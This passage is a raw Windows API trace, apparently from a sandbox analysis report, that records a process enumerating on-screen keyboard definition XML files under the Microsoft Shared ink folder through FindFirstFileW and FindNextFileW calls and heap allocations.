lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0215.900] GetProcessHeap () returned 0x560000 [0215.900] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0215.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.901] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.901] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0215.901] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0215.901] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0215.901] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0215.902] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.902] GetProcessHeap () returned 0x560000 [0215.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0215.902] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0215.902] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0215.902] GetProcessHeap () returned 0x560000 [0215.902] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0215.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.918] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.918] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0215.918] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0215.918] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0215.919] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0215.919] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0215.919] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0215.919] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0215.919] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0215.920] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0215.920] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0215.920] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0215.920] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0215.920] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0215.921] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0215.921] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.924] GetProcessHeap () returned 0x560000 [0215.924] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0215.924] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0215.924] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0215.924] GetProcessHeap () returned 0x560000 [0215.924] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0215.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.925] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.925] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0215.925] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0215.925] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.926] GetProcessHeap () returned 0x560000 [0215.926] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0215.926] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0215.926] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0215.926] GetProcessHeap () returned 0x560000 [0215.926] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0215.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.455] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.455] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0216.455] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0216.455] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.455] GetProcessHeap () returned 0x560000 [0216.455] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0216.455] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0216.455] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0216.456] GetProcessHeap () returned 0x560000 [0216.456] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0216.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.456] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.456] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0216.456] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, 